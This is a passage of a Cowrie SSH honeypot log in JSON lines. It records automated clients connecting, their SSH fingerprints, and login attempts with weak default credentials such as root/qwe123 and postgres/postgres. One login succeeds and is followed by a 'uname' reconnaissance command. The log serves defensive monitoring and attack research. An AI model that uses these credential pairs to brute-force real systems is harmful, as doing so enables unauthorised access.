nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:16:20.012067Z","src_ip":"91.92.42.227","session":"d836989426e4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":42732,"dst_ip":"10.17.0.5","dst_port":22,"session":"7b7e06b08724","protocol":"ssh","message":"New connection: 45.156.87.147:42732 (10.17.0.5:22) [session: 7b7e06b08724]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:16:20.088968Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:16:20.098159Z","src_ip":"45.156.87.147","session":"7b7e06b08724","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:16:20.175750Z","src_ip":"45.156.87.147","session":"7b7e06b08724","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"null","message":"login attempt [root/null] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:16:20.504270Z","src_ip":"45.156.87.147","session":"7b7e06b08724","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:16:21.588903Z","src_ip":"45.156.87.147","session":"7b7e06b08724","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin!@","message":"login attempt [admin/admin!@] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:16:21.687085Z","src_ip":"91.92.42.227","session":"d836989426e4","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:16:22.463152Z","src_ip":"91.92.42.227","session":"d836989426e4","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:16:22.465991Z","src_ip":"91.92.42.227","session":"d836989426e4","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.4","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:16:22.893300Z","src_ip":"91.92.42.227","session":"d836989426e4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.0","message":"Connection lost after 3.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:16:22.896993Z","src_ip":"91.92.42.227","session":"d836989426e4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":42742,"dst_ip":"10.17.0.5","dst_port":22,"session":"cb1cdcbe5fd9","protocol":"ssh","message":"New connection: 45.156.87.147:42742 (10.17.0.5:22) [session: cb1cdcbe5fd9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:16:26.151750Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:16:26.155717Z","src_ip":"45.156.87.147","session":"cb1cdcbe5fd9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:16:26.237217Z","src_ip":"45.156.87.147","session":"cb1cdcbe5fd9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwe123","message":"login attempt [root/qwe123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:16:26.483735Z","src_ip":"45.156.87.147","session":"cb1cdcbe5fd9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":52970,"dst_ip":"10.17.0.5","dst_port":22,"session":"10aa5fcd13e4","protocol":"ssh","message":"New connection: 91.92.42.227:52970 (10.17.0.5:22) [session: 10aa5fcd13e4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:16:26.622983Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:16:27.032064Z","src_ip":"91.92.42.227","session":"10aa5fcd13e4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:16:27.035265Z","src_ip":"91.92.42.227","session":"10aa5fcd13e4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:16:27.574257Z","src_ip":"45.156.87.147","session":"cb1cdcbe5fd9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"147.45.199.80","src_port":33564,"dst_ip":"10.17.0.5","dst_port":22,"session":"b59dba89a88f","protocol":"ssh","message":"New connection: 147.45.199.80:33564 (10.17.0.5:22) [session: b59dba89a88f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:16:28.260190Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:16:28.264554Z","src_ip":"147.45.199.80","session":"b59dba89a88f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:16:28.359577Z","src_ip":"147.45.199.80","session":"b59dba89a88f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"101077","message":"login attempt [root/101077] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:16:28.647339Z","src_ip":"147.45.199.80","session":"b59dba89a88f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"postgres","password":"postgres","message":"login attempt [postgres/postgres] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:16:29.094283Z","src_ip":"91.92.42.227","session":"10aa5fcd13e4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:16:29.744573Z","src_ip":"147.45.199.80","session":"b59dba89a88f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.1","message":"Connection lost after 4.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:16:30.772320Z","src_ip":"91.92.42.227","session":"10aa5fcd13e4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":44376,"dst_ip":"10.17.0.5","dst_port":22,"session":"bd0e56ed0dbc","protocol":"ssh","message":"New connection: 45.156.87.147:44376 (10.17.0.5:22) [session: bd0e56ed0dbc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:16:32.094500Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:16:32.099401Z","src_ip":"45.156.87.147","session":"bd0e56ed0dbc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:16:32.183066Z","src_ip":"45.156.87.147","session":"bd0e56ed0dbc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"123456","message":"login attempt [ubuntu/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:16:32.432906Z","src_ip":"45.156.87.147","session":"bd0e56ed0dbc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:16:33.516397Z","src_ip":"45.156.87.147","session":"bd0e56ed0dbc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":52996,"dst_ip":"10.17.0.5","dst_port":22,"session":"bd8764974ecd","protocol":"ssh","message":"New connection: 91.92.42.227:52996 (10.17.0.5:22) [session: bd8764974ecd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:16:33.692356Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:16:33.920316Z","src_ip":"91.92.42.227","session":"bd8764974ecd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:16:33.925895Z","src_ip":"91.92.42.227","session":"bd8764974ecd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"redhat","password":"redhat","message":"login attempt [redhat/redhat] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:16:34.766459Z","src_ip":"91.92.42.227","session":"bd8764974ecd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:16:35.957162Z","src_ip":"91.92.42.227","session":"bd8764974ecd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":44390,"dst_ip":"10.17.0.5","dst_port":22,"session":"807d017dd02e","protocol":"ssh","message":"New connection: 45.156.87.147:44390 (10.17.0.5:22) [session: 807d017dd02e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:16:38.221355Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:16:38.269748Z","src_ip":"45.156.87.147","session":"807d017dd02e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:16:38.306108Z","src_ip":"45.156.87.147","session":"807d017dd02e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"chris","password":"123456","message":"login attempt [chris/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:16:38.625944Z","src_ip":"45.156.87.147","session":"807d017dd02e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:16:39.710217Z","src_ip":"45.156.87.147","session":"807d017dd02e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":59466,"dst_ip":"10.17.0.5","dst_port":22,"session":"b8bb95995c3d","protocol":"ssh","message":"New connection: 91.92.42.227:59466 (10.17.0.5:22) [session: b8bb95995c3d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:16:40.807580Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:16:40.811315Z","src_ip":"91.92.42.227","session":"b8bb95995c3d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 